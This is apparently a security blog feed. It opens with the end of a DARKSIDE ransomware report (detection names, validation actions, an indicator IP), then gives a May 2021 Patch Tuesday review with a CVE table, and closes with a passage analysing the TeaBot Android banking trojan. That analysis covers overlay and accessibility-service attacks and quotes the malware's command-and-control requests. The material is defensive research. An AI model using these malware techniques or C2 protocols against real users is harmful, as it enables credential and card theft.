  • Ransomware.SSL.DarkSide
  • Trojan.Generic
  • Ransomware.Linux.DARKSIDE
  • Ransomware.Win.Generic.MVX
  • Ransomware.Win.DARKSIDE.MVX
  • Ransomware.Linux.DARKSIDE.MVX
  • Ransomware.Win32.DarkSide.FEC3
  • FE_Ransomware_Win_DARKSIDE_1
  • FE_Ransomware_Win32_DARKSIDE_1
  • FE_Ransomware_Linux64_DARKSIDE_1
  • FE_Ransomware_Linux_DARKSIDE_1
  • FEC_Trojan_Win32_Generic_62
  • FE_Loader_Win32_Generic_177
  • FE_Loader_Win32_Generic_197
  • FE_Backdoor_Win_C3_1
  • FE_Backdoor_Win32_C3_1
  • FE_Backdoor_Win32_C3_2
  • FE_Backdoor_Win_C3_2
  • Backdoor.Win.C3
  • FE_Dropper_Win_Darkside_1

Endpoint Security

Real-Time (IOC)


Malware Protection(AV/MG)

  • Gen:Heur.FKP.17
  • Gen:Heur.Ransom.RTH.1
  • Gen:[email protected]
  • Gen:Variant.Razy.*
  • Trojan.CobaltStrike.CB
  • Trojan.GenericKD.*
  • Trojan.Linux.Ransom.H

UAC Protect

  • Malicious UAC bypass program detected


  • VPN ANALYTICS [Abnormal Logon]
  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • WINDOWS METHODOLOGY [Plink Reverse Tunnel]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.




Malicious File Transfer - DARKSIDE, Download, Variant #2 


Malicious File Transfer - DARKSIDE, Download, Variant #3 


Malicious File Transfer - DARKSIDE, Download, Variant #4 


Malicious File Transfer - DARKSIDE, Download, Variant #5 


Malicious File Transfer - DARKSIDE, Download, Variant #6 


Malicious File Transfer - DARKSIDE, Download, Variant #7 


Malicious File Transfer - DARKSIDE, Download, Variant #8 


Malicious File Transfer - DARKSIDE, Download, Variant #9 


Malicious File Transfer - DARKSIDE, Download, Variant #10 


Malicious File Transfer - DARKSIDE, Download, Variant #11 


Malicious File Transfer - DARKSIDE, Download, Variant #12 


Malicious File Transfer - DARKSIDE, Download, Variant #13 


Malicious File Transfer - DARKSIDE, Download, Variant #14 


Malicious File Transfer - DARKSIDE, Download, Variant #15 


Malicious File Transfer - DARKSIDE, Download, Variant #16 


Malicious File Transfer - DARKSIDE, Download, Variant #17 


Malicious File Transfer - DARKSIDE, Download, Variant #18 


Malicious File Transfer - DARKSIDE, Download, Variant #19 


Malicious File Transfer - DARKSIDE, Download, Variant #20 


Malicious File Transfer - DARKSIDE, Download, Variant #21 


Malicious File Transfer - DARKSIDE, Download, Variant #22 


Malicious File Transfer - DARKSIDE, Download, Variant #23 


Malicious File Transfer - DARKSIDE, Download, Variant #24 


Malicious File Transfer - DARKSIDE, Download, Variant #25 


Malicious File Transfer - DARKSIDE, Download, Variant #26 


Malicious File Transfer - DARKSIDE, Download, Variant #27 


Malicious File Transfer - DARKSIDE, Download, Variant #28 


Malicious File Transfer - DARKSIDE, Download, Variant #29 


Malicious File Transfer - DARKSIDE, Download, Variant #30 


Malicious File Transfer - DARKSIDE, Download, Variant #31 


Malicious File Transfer - DARKSIDE, Download, Variant #32 


Malicious File Transfer - DARKSIDE, Download, Variant #33 


Malicious File Transfer - DARKSIDE, Download, Variant #34 


Malicious File Transfer - DARKSIDE, Download, Variant #35 


Malicious File Transfer - DARKSIDE, Download, Variant #36 


Malicious File Transfer - NGROK, Download, Variant #1 


Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download 


Malicious File Transfer - BEACON, Download, Variant #3 


Data Exfiltration - RCLONE, Exfil Over SFTP 


Malicious File Transfer - RCLONE, Download, Variant #2 


Command and Control - DARKSIDE, DNS Query, Variant #1 


Command and Control - DARKSIDE, DNS Query, Variant #2 


Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection 


Protected Theater - DARKSIDE, PsExec Execution 


Host CLI - DARKSIDE, Windows Share Creation 


Protected Theater - DARKSIDE, Delete Volume Shadow Copy 

Related Indicators

















Login Source







Login Source




81.91.177[.]54 :7234

Remote Access


File Hosting




Malicious Infrastructure


Downloader URL


Downloader LNK


VBS Launcher


Ngrok Utility

DARKSIDE Ransomware Encryptor






































Vulnerability Spotlight: Code execution vulnerability in Adobe Acrobat Reader

Aleksandar Nikolic of Cisco Talos discovered this vulnerability. Blog by Jon Munshaw.  Cisco Talos recently discovered an arbitrary code execution vulnerability in Adobe Acrobat Reader.   Adobe Acrobat Reader is one of the most popular and feature-rich PDF readers on the market....

[[ This is only the beginning! Please visit the blog for the complete entry ]]

Microsoft Patch Tuesday for May 2021 — Snort rules and prominent vulnerabilities

By Jon Munshaw, with contributions from Chris Neal.  Microsoft released its monthly security update Tuesday, disclosing 55 vulnerabilities across its suite of products, the fewest in any month since January 2020.  There are only three critical vulnerabilities patched in this month, while...

[[ This is only the beginning! Please visit the blog for the complete entry ]]

The May 2021 Security Update Review

11 May 2021 at 17:26

It’s the second Tuesday of the month, which means the latest security updates from Adobe and Microsoft are released. Take a break from your regularly scheduled activities and join us as we review the details for their latest security offerings.

Adobe Patches for May 2021

For May, Adobe released 12 patches addressing 44 CVEs in Experience Manager, InDesign, Illustrator, InCopy, Adobe Genuine Service, Acrobat and Reader, Magento, Creative Cloud Desktop, Media Encoder, After Effects, Medium, and Animate. A total of five of these bugs came through the ZDI program.

The update for Acrobat and Reader should be given the highest priority. One of the 14 CVEs fixed by this patch is listed as being currently used in the wild. The bug (CVE-2021-28550) is one of three use after free (UAF) bugs addressed by this patch. These and other vulnerabilities could lead to code execution if someone were to open a specially crafted PDF with an affected version of Acrobat or Reader. The update for InDesign also stands out. These bugs result from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated structure. An attacker can leverage this vulnerability to execute code in the context of the current process.

Beyond the one Reader bug, none of the other vulnerabilities patched by Adobe this month are listed as publicly known or under active attack at the time of release.

Microsoft Patches for May 2021

For May, Microsoft released patches for 55 CVEs in Microsoft Windows, .NET Core and Visual Studio, Internet Explorer (IE), Microsoft Office, SharePoint Server, Open-Source Software, Hyper-V, Skype for Business and Microsoft Lync, and Exchange Server. A total of 13 of these bugs came through the ZDI program. Of these 55 bugs, four are rated as Critical, 50 are rated as Important, and one is listed as Moderate in severity. According to Microsoft, three of these bugs are publicly known but none are listed as under active exploit at the time of release.

Let’s take a closer look at some of the more interesting updates for this month, starting with a bug sure to garner a lot of attention:

-       CVE-2021-31166 - HTTP Protocol Stack Remote Code Execution Vulnerability
This patch corrects a bug that could allow an unauthenticated attacker to remotely execute code as kernel. An attacker would simply need to send a specially crafted packet to an affected server. That makes this bug wormable, with even Microsoft calling that out in their write-up. Before you pass this aside, Windows 10 can also be configured as a web server, so it is impacted as well. Definitely put this on the top of your test-and-deploy list.

-       CVE-2021-28476 - Hyper-V Remote Code Execution Vulnerability
With a CVSS of 9.9, this bug scores the highest severity rating for this month’s release. However, Microsoft notes an attacker is more likely to abuse this vulnerability for a denial of service in the form of a bugcheck rather than code execution. Because of this, it could be argued that the attack complexity would be high, which changes the CVSS rating to 8.5. That still rates as high severity, but not critical. Still, the bugcheck alone is worth making sure your Hyper-V systems get this update.

-       CVE-2021-27068 - Visual Studio Remote Code Execution Vulnerability
This patch fixes an unusual bug in Visual Studio 2019 that could allow code execution. It’s unusual because it’s listed as not requiring any user interaction, so it’s unclear how an attacker would leverage this vulnerability. It does appear that the attacker would need to be authenticated at some level, but the attack complexity is listed as low. If you are a developer running Visual Studio, make sure you grab this update.

-       CVE-2020-24587 - Windows Wireless Networking Information Disclosure Vulnerability
We don’t normally highlight info disclosure bugs, but this one has the potential to be pretty damaging. This patch fixes a vulnerability that could allow an attacker to disclose the contents of encrypted wireless packets on an affected system. It’s not clear what the range on such an attack would be, but you should assume some proximity is needed. You’ll also note this CVE is from 2020, which could indicate Microsoft has been working on this fix for some time.

Here’s the full list of CVEs released by Microsoft for May 2021:

CVE Title Severity CVSS Public Exploited Type
CVE-2021-31204 .NET Core and Visual Studio Elevation of Privilege Vulnerability Important 7.3 Yes No EoP
CVE-2021-31200 Common Utilities Remote Code Execution Vulnerability Important 7.2 Yes No RCE
CVE-2021-31207 Microsoft Exchange Server Security Feature Bypass Vulnerability Moderate 6.6 Yes No SFB
CVE-2021-31166 HTTP Protocol Stack Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2021-28476 Hyper-V Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2021-31194 OLE Automation Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2021-26419 Scripting Engine Memory Corruption Vulnerability Critical 6.4 No No RCE
CVE-2021-28461 Dynamics Finance and Operations Cross-site Scripting Vulnerability Important 6.1 No No XSS
CVE-2021-31936 Microsoft Accessibility Insights for Web Information Disclosure Vulnerability Important 7.4 No No Info
CVE-2021-31182 Microsoft Bluetooth Driver Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2021-31174 Microsoft Excel Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2021-31195 Microsoft Exchange Server Remote Code Execution Vulnerability Important 6.5 No No RCE
CVE-2021-31198 Microsoft Exchange Server Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31209 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2021-28455 Microsoft Jet Red Database Engine and Access Connectivity Engine Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2021-31180 Microsoft Office Graphics Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31178 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2021-31175 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31176 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31177 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31179 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31171 Microsoft SharePoint Information Disclosure Vulnerability Important 4.1 No No Info
CVE-2021-31181 Microsoft SharePoint Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2021-31173 Microsoft SharePoint Server Information Disclosure Vulnerability Important 5.3 No No Info
CVE-2021-28474 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2021-26418 Microsoft SharePoint Spoofing Vulnerability Important 4.6 No No Spoofing
CVE-2021-28478 Microsoft SharePoint Spoofing Vulnerability Important 7.6 No No Spoofing
CVE-2021-31172 Microsoft SharePoint Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2021-31184 Microsoft Windows Infrared Data Association (IrDA) Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2021-26422 Skype for Business and Lync Remote Code Execution Vulnerability Important 7.2 No No RCE
CVE-2021-26421 Skype for Business and Lync Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2021-31214 Visual Studio Code Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31211 Visual Studio Code Remote Development Extension Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31213 Visual Studio Code Remote Development Extension Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-27068 Visual Studio Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2021-28465 Web Media Extensions Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31190 Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-31165 Windows Container Manager Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-31167 Windows Container Manager Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-31168 Windows Container Manager Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-31169 Windows Container Manager Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-31208 Windows Container Manager Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-28479 Windows CSC Service Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2021-31185 Windows Desktop Bridge Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2021-31170 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-31188 Windows Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-31192 Windows Media Foundation Core Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2021-31191 Windows Projected File System FS Filter Driver Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2021-31186 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Important 7.4 No No Info
CVE-2021-31205 Windows SMB Client Security Feature Bypass Vulnerability Important 4.3 No No SFB
CVE-2021-31193 Windows SSDP Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2021-31187 Windows WalletService Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2020-24587 Windows Wireless Networking Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2020-24588 Windows Wireless Networking Spoofing Vulnerability Important 6.5 No No Spoofing
CVE-2020-26144 Windows Wireless Networking Spoofing Vulnerability Important 6.5 No No Spoofing

There’s a flurry of Exchange patches in this month’s release, and some are related to bugs disclosed during the recent Pwn2Own contest. Two of the patches correct remote code execution bugs. While it appears these bugs result from Pwn2Own submissions, the exploits used during the contest did not require user interaction. The write-up from Microsoft does list user interaction in the CVSS score, however they may be scoring just this piece of the exploit chain. There’s also a spoofing bug and a security feature bypass that were used at the contest as part of a multi-bug chain. More Exchange patches are expected as not everything disclosed at the contest has been addressed. We’re working with Microsoft to get further clarification.

Moving on to the two remaining Critical-rated patches, both involve browsing to a website to get code execution. One bug impacts Internet Explorer while the other occurs when an attacker invokes OLE automation through a web browser. In both cases, the attacker would somehow have to lure the victim to their website.

Looking at the Important-rated patches, 18 involve remote code execution (RCE) of some form. One of the publicly known bugs falls into this category, although the disclosure occurred several months ago. The common utilities ( had an update checked in to GitHub back in December. If you use the Neural Network Intelligence open-source toolkit, make sure you have the latest version. There are several open-and-own style bugs in various Office components. There are three code execution bugs in Visual Studio Code, but these require a user to open a malicious file in a directory. If an attacker can convince such an act, they can execute their code at the level of the logged-on user.

Another RCE was reported by ZDI researcher Hossein Lotfi and impacts the Jet Red Database Engine and Access Connectivity Engine. To completely address this vulnerability, you’ll want to apply the update and restrict access to remote databases. Failing to restrict access can still expose your database to potential SQL adhoc/injection flaws. Microsoft published KB5002984 to provide guidance on restricting access.

There are 11 elevation of privilege (EoP) bugs receiving patches this month, and most are in the Windows Container Manager Service. Another EoP fix for .NET Core and Visual Studio is listed as publicly known, but Microsoft does not say where the disclosure occurred. One bug reported through the ZDI program affects the Wallet Service. By creating a directory junction, an attacker can abuse the service to create a file in an arbitrary location. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of SYSTEM. Two other EoP bugs in the Windows Graphics component were reported by ZDI researcher Lucas Leong. The vulnerability result from the handling of Palette and Font Entry objects.

This month’s release includes 10 patches for information disclosure bugs, including the one previously mentioned. For the most part, these only lead to leaks consisting of unspecified memory contents. There are some notable exceptions. The info disclosure bugs in SharePoint could lead to unauthorized file system access or exposing Personally Identifiable Information (PII). Again, the info disclosure bug in Wireless is the most severe of this bunch.

There are eight spoofing bugs in May, and two were reported by the same researcher who reported the Wireless info disclosure bug. These also impact the Wireless component, but it’s not clear how the spoofing occurs. These also have CVEs from 2020, so again, it’s an indicator that these bugs have been in the works for a while. Other spoofing bugs being fixed this month affect SharePoint Server, Bluetooth, and Skype for Business and Lync.

In addition to the previously mentioned Exchange security feature bypass, there’s a fix for a bypass in the SMB client. In SMBv2, guest fallback is not disabled by default. The patch disables guest fallback access to enforce the OS and Group Policy settings. You can also disable guest access via the registry. The May release is rounded out with a cross-site scripting (XSS) bug in Dynamics Finance and Operations and a DoS bug in Windows Desktop Bridge.

Finally, the servicing stack advisory (ADV990001) was revised for all versions of Windows. No new advisories were released this month.

Looking Ahead

The next Patch Tuesday falls on June 8, and we’ll return with details and patch analysis then. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The May 2021 Security Update Review

New mobile malware family now also targets Belgian financial apps

11 May 2021 at 15:14

While banking trojans have been around for a very long time now, we have never seen a mobile malware family attack the applications of Belgian financial institutions. Until today…

Earlier this week, the Italy-based Cleafy published an article about a new android malware family which they dubbed TeaBot. The sample we will take a look at doesn’t use a lot of obfuscation and only has a limited set of features. What is interesting though, is that TeaBot actually does attack the mobile applications of Belgian financial institutions.

This is quite surprising since Banking trojans typically use a phishing attack to acquire the credentials of unsuspecting victims. Those credentials would be fairly useless against Belgian financial applications as they all have secure device enrollment and authentication flows which are resilient against a phishing attack.

So let’s take a closer look at how these banking trojans work, how they are actually trying to attack Belgian banking apps and what can be done to protect these apps.


  • Typical banking malware uses a combination of Android accessibility services and overlay windows to construct an elaborate phishing attack
  • Belgian apps are being targeted with basic phishing attacks and keyloggers which should not result in an account takeover

Android Overlay Attacks

There have been numerous articles written on Android Overlay attacks, including a very recent one from F-Secure labs: “How are we doing with Android’s overlay attacks in 2020?” For those who have never heard of it before, let’s start with a small overview.

Drawing on top of other apps through overlays (SYSTEM_ALERT_WINDOW)

The Android OS allows apps to draw on top of other apps after they have obtained the SYSTEM_ALERT_WINDOW permission. There are valid use cases for this, with Facebook Messenger’s chat heads being the typical example. These chat bubbles stay on top of any other application to allow the user to quickly access their conversations without having to go to the Messenger app.

Overlays have two interesting properties: whether or not they are transparent, and whether or not they are interactive. If an overlay is transparent you will be able to see whatever is underneath the overlay (either another app or the home screen), and if an overlay is interactive it will register any screen touches, while the app underneath will not. Below you can see two examples of this. On the left, there’s Facebook’s Messenger app, which has may interactive views, but also some transparent parts at the top, while on the right you see Twilight, which is a blue light filter that covers the entire screen in a semi-transparent way without any interactive elements in the overlay. The controls that you do see with Twilight is the actual Twilight app that’s opened underneath the red overlay.

Until very recently, if the app was installed through the Google Play store (instead of through sideloading or third party app stores), the application automatically received this permission, without even a confirmation dialog for the user! After much abuse by Banking malware that was installed through the Play store, Google has now added an additional manual verification step in the approval process for apps on the Google Play store. If the app wants to have the permission without requesting it from the user, the app will need to request special permission from Google. But of course, an app can still manually request this permission from the user, and Android’s information for this permission looks rather innocent: “This may interfere with your use of other apps”.

The permission is fairly benign in the hands of the Facebook Messenger app or Twilight, but for mobile malware, the ability to draw on top of other apps is extremely interesting. There are a few ways in which you can use this to attack the user:

  1. Create a fake UI on top of a real app that tricks the user into touching specific locations on the screen. Those locations will not be interactive, and will thus propagate the touch to the underlying application. As a result, the user performs actions in the underlying app without realizing it. This is often called Tapjacking.
  2. Create interactive fields on top of key fields of the app in order to harvest information such as usernames and passwords. This would require the overlay to track what is being shown in the app, so that it can correctly align its own buttons text fields. All in all quite some work and not often used to attack the user.
  3. Instead of only overlaying specific buttons, the overlay covers the entire app and pretends to be the app. A fully functional app (usually a webview) is shown on top of the targeted app and asks the user for their credentials. This is a full overlay attack.

These are just three possibilities, but there are many more. Researchers from Georgia Tech and the UC Santa Barbara have documented different attacks in their paper which also introduces the Cloak and Dagger attacks explained below.

Before we get into Cloak and Dagger, let’s take a look at a few other dangerous Android permissions first.

Accessibility services

Applications on Android can request the accessibility services permission, which allows them to simulate button presses or interact with UI elements outside of their own application. These apps are very useful to people with disabilities who need a bit of extra help to navigate their smartphone. For example, the Google TalkBack application will read out any UI element that is touched on the screen, and requires a double click to actually register as a button press. An alternative application is the Voice Access app which tags every UI element with a number and allows you to select them by using voice commands.

Left: Giving permission to the TalkBack service. Android clearly indicates the dangers of giving this permission
Middle: TalkBack uses text-to-speech to read the description that the user taps
Right: Voice Access adds a button to each UI control and allows you to click them through voice commands

Both of these applications can read UI elements and perform touches on the user’s behalf. Just like overlay windows, this can be a very nice feature, or very dangerous if abused. Malware could use accessibility services to create a keylogger which collects the input of a text field any time data is entered, or it could press buttons on your behalf to purchase premium features or subscriptions, or even just click advertisements.

So let’s take a quick look at what kind of information becomes available by installing the Screen Logger app. The Screen Logger app is a legitimate application that uses accessibility features to monitor your actions. At the time of writing, the application doesn’t even request INTERNET permission, so it shouldn’t be stealing your data in any way. However, it’s always best to do these tests on a device without sensitive data which you can factory-reset. The application is very basic:

  • Install the accessibility service
  • Click the record button
  • Perform some actions and enter some text
  • Click the stop recording button

The app will then show all the information it has collected. Below are some examples of the information it collected from a test app:

The Screen logger application shows the data that was collected through an accessibility service

When enabling accessibility services, users are actually warned about the dangers of enabling accessibility. This makes it a bit harder to trick the user into granting this permission. More difficult, but definitely not impossible. Applications actually have a lot of control over the information that is shown to the user. Take for example the four screens below, which belong to a malware sample. All of the text indicated with red is under control of the attacker. The first screen shows a popup window asking the user to enable the Google service (which is, of course, the name of the malware’s service), and the next three screens are what the user sees while enabling the accessibility permission.

Tricking users into installing an accessibility service

Even if malware can’t convince the user to give the accessibility permission, there’s still a way to trick them using overlay windows. This approach is exactly what Cloak and Dagger does.

Cloak and Dagger

Cloak and Dagger is best explained through their own video, where they show a combination of overlay attacks and accessibility to install an application that has all permissions enabled. In the video shown below, anything that is red is non-transparent and interactive, while everything that is green or transparent is non-interactive and will let touches go through to the app underneath.

Now, over the past few years, Android has made efforts to hinder these kinds of attacks. For example, on newer versions of Android, it’s not possible to configure accessibility settings in case an overlay is active, or Android automatically disables any overlays when going into the Accessibility settings page. Unfortunately this only prevents a malware sample from giving itself accessibility permissions through overlays; it still allows malware to use social engineering tactics to trick users into installing them.

Read SMS permission

Finally, another interesting permission for malware is the RECEIVE_SMS permission, which allows an application to read received SMS messages. While this can definitely be used to invade the user’s privacy, the main reason for malware to acquire this permission is to intercept 2FA tokens which are unfortunately often still sent through SMS. Next to SIM-swapping attacks and attacks against the SS7 infrastructure, this is another way in which those tokens can be stolen.

This permission is pretty self-explanatory and a typical user will probably not grant the permission to a game that they just installed. However, by using phishing, overlays or accessibility attacks, malware can make sure the user accepts the permission.

Does this mean your device is fully compromised? Yes, and no.

Given the very intrusive nature of the attacks described above, it’s not a stretch to say that your device is fully compromised. If malware can access what you see, monitor what you do and perform actions on your behalf, they’re basically using your device just like you would. However, the malware is still (ab)using legitimate functionality provided by the OS, and that does come with restrictions.

For example, even applications with full accessibility permissions aren’t able to access data that is stored inside the application container of another app. This means that private information stored within an app is safe, unless you of course access the data through the app and the accessibility service actively collects everything on the screen.

By combining accessibility and overlay windows, it is actually much easier to social engineer the victim and get their credentials or card information. And this is exactly what Banking Trojans often do. Instead of attacking an application and trying to steal their authentication tokens or modify their behavior, they simply ask the user for all the information that’s required to either authenticate to a financial website or enroll a new device with the user’s credentials.

How to protect your app

Protecting against overlays

Protecting your application against a full overlay is, well, impossible. Some research has already been performed on this and one of the suggestions is to add a visual indicator on the device itself that can inform the user about an overlay attack tacking place. Another study took a look at detecting suspicious patterns during app-review to identify overlay malware. While the research is definitely interesting, it doesn’t really help you when developing an application.

And even if you could detect an overlay on top of your application. What could your application do? There are a few options, but none of them really work:

  • Close the application > Doesn’t matter, the attack just continues, since there’s a full overlay
  • Show something to the user to warn them > Difficult, since you’re not the top-level view
  • Inform the backend and block the account > Possible, though many false negatives. Imagine customer accounts being blocked because they have Facebook messenger installed…

What remains is trying to detect an attack and informing your backend. Instead of directly blocking an account, the information could be taken into account when performing risk analysis on a new sign-up or transaction. There are a few ways to collect this information, but all of them can have many false positives:

  • You can detect if a screen has been obfuscated by listening for onFilterTouchEventForSecurity events. There are however various edge cases where it doesn’t work as expected and will lead to many false negatives and false positives.
  • You can scan for installed applications and check if a suspicious application is installed. This would require you to actively track mobile malware campaigns and update your blacklist accordingly. Given the fact that malware samples often have random package names, this will be very difficult. Additionally, starting with Android 11 (Q), it actually becomes impossible to scan for applications which you don’t define in your Android Manifest.
  • You can use accessibility services yourself to monitor which views are created by the Android OS and trigger an error if specific scenarios occur. While this could technically work, it would give people the idea that financial applications do actually require accessibility services, which would play into the hands of malware developers.

The only real feasible implementation is detection through the onFilterTouchEventForSecurity handler, and, given the many false positives, it can only be used in conjunction with other information during a risk assessment.

Protecting against accessibility attacks

Unfortunately it’s not much better than the section. There are many different settings you can set on views, components and text fields, but all of them are designed to help you improve the accessibility of your application. Removing all accessibility data from your application could help a bit, but this will of course also stop legitimate accessibility software from analyzing your application.

But let’s for a moment assume that we don’t care about legitimate accessibility. How can we make the app as secure as possible to prevent malware from logging our activities? Let’s see…

  • We could set the android:importantForAccessibility attribute of a view component to ‘no’ or ‘noHideDescendants’. This won’t work however, since the accessibility service can just ignore this property and still read everything inside the view component.
  • We could set all the android:contentDescription attributes to “@null”. This will effectively remove all the meta information from the application and will make it much more difficult to track a user. However, any text that’s on screen can still be captured, so the label of a button will still give information about its purpose, even if there is no content description. For input text, the content of the text field will still be available to the malware.
  • We could change every input text to a password field. Password fields are masked and their content isn’t accessible in clear-text format. Depending on the user’s settings, this won’t work either (see next section).
  • Enable FLAG_SECURE on the view. This will prevent screenshots of the view, but it doesn’t impact accessibility services.

About passwords

By default, Android shows the last entered character in a password field. This is useful for the user as they are able to see if they mistyped something. However, whenever this preview is shown, the value is also accessible to the accessibility services. As a result, we can still steal passwords, as shown in the second and third image below:

Left: A password being entered in ProxyDroid
Middle / Right: The entered password can be reconstructed based on the character previews

It is possible for users to disable this feature by going to Settings > Privacy > Show Passwords, but this setting cannot be manipulated from inside an application.

Detecting accessibility services

If we can’t protect our own application, can we maybe detect an attack? Here is where there’s finally some good news. It is possible to retrieve all the accessibility services running on the device, including their capabilities. This can be done through the AccessibilityManager.getEnabledAccessibilityServiceList.

This information could be used to identify suspicious services running on the device. This would require building an dataset of known-good services to compare against. Given that Google is really hammering down on applications requiring accessibility services in the Google Play store, this could be a valid approach.

The obvious downside is that there will still be false positives. Additionally, there may be some privacy related issues as well, since it might not be desirable to identify disabilities in users.

Can’t Google fix this?

For a large part, dealing with these overlay attacks is Google’s responsibility, and over the last few versions, they have made multiple changes to make it more difficult to use the SYSTEM_ALERT_WINDOW (SAW) overlay permission:

  • Android Q (Go Edition) doesn’t support the SAW.
  • Sideloaded apps on Android P loose the SAW permission upon reboot.
  • Android O has marked the SAW permission deprecated, though Android 11 has removed the deprecated status.
  • Play Store apps on Android Q loose the permission on reboot.
  • Android O shows a notification for apps that are performing overlays, but also allows you to disable the notifications through settings (and thus through accessibility as well).
  • Android Q introduced the Bubbles API, which deals with some of the use cases for SAW, but not all of them.

Almost all of these updates are mitigations and don’t fix the actual problem. Only the removal of SAW in Android Q (Go Edition) is a real way to stop overlay attacks, and it may hopefully one day make it into the standard Android version as well.

Android 12 Preview

The latest version of the Android 12 preview actually contains a new permission called ‘HIDE_OVERLAY_WINDOWS‘. After acquiring this permission, an app can call ‘setHideOverlayWindows()’ to disable overlays. This is another step in the right direction, but it’s still far from great. Instead of targeting the application when the user opens it, the malware could still create fake notifications that link directly to the overlay without the targeted application even being opened.

It’s clear that it’s not an easy problem to fix. Developers were given the option to use SAW since Android 1, and many apps rely on the permission to provide their core functionality. Removing it would affect many apps, and would thus get a lot of backlash. Finally, any new update that Google makes will take many years to reach a high percentage of Android users, due to Android’s slow update process and unwillingness for mobile device manufacturers to provide major OS updates to users.

Now that we understand the permissions involved, let’s go back to the TeaBot malware.

TeaBot – Attacking Belgian apps

What was surprising about Cleafy’s original report is the targeting of Belgian applications which so far had been spared of similar attacks. This is also a bit surprising since Belgian financial apps all make use of strong authentication (card readers, ItsMe, etc) and are thus pretty hard to successfully phish. Let’s take a look at how exactly the TeaBot family attacks these applications.

Once the TeaBot malware is installed, it shows a small animation to the user how to enable accessibility options. It doesn’t provide a specific explanation for the accessibility service, and it doesn’t pretend to be a Google or System service. However, if you wait too long to activate the accessibility service, the device will regularly start vibrating, which is extremely annoying and will surely convince many victims to enable the services.

  • Main view when opening the app
  • Automatically opens the Accessibility Settings
  • No description of the service
  • The service requests full control
  • If you wait too long, you get annoying popups and vibration
  • After enabling the service, the application quits and shows an error message

This specific sample pretends to be bpost, but TeaBot also pretends to be the VLC Media Player, the Spanish postal app Correos, a video streaming app called Mobdro, and UPS as well.

The malware sample has the following functionality related to attacking financial applications:

  • Take a screenshot;
  • Perform overlay attacks on specific apps;
  • Enable keyloggers for specific apps.

Just like the FluBot sample from our last blogpost, the application collects all of the installed applications and then sends them to the C2 which returns a list of the applications that should be attacked:

POST /api/getbotinjects HTTP/1.1
Accept-Charset: UTF-8
Content-Type: application/xml
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Nexus 5 Build/QQ3A.200805.001)
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 776

{"installed_apps":[{"package":"org.proxydroid"},{"package":""}, ...<snip>... ,{"package":""}]}
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Server: Rocket
Content-Length: 2
Date: Mon, 10 May 2021 19:20:51 GMT


In order to identify the applications that are attacked, we can supply a list of banking applications which will return more interesting data:

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Server: Rocket
Content-Length: 2031830
Date: Mon, 10 May 2021 18:28:01 GMT

		"html":"<!DOCTYPE html><html lang=\"en\"><head> ...SNIP...</html>",
		"html":"<!DOCTYPE html><html lang=\"en\"><head> ...SNIP...</html>"

By brute-forcing against different C2 servers, overlays for the following apps were returned:

Only one Belgian financial application ( returned an overlay. The interesting part is that the overlay only phishes for credit card information and not for anything related to account onboarding:

The overlay requests the debit card number, but nothing else.

This overlay will be shown when TeaBot detects that the Belfius app has been opened. This way the user will expect a Belfius prompt to appear, which gives more credibility to the malicious view that was opened.

The original report by Cleafy specified at least 5 applications under attack, so we need to dig a bit deeper. Another endpoint called by the samples is /getkeyloggers. Fortunately, this one does simply return a list of targeted applications without us having to guess.

GET /api/getkeyloggers HTTP/1.1
Accept-Charset: UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 10; Nexus 5 Build/QQ3A.200805.001)
Connection: close
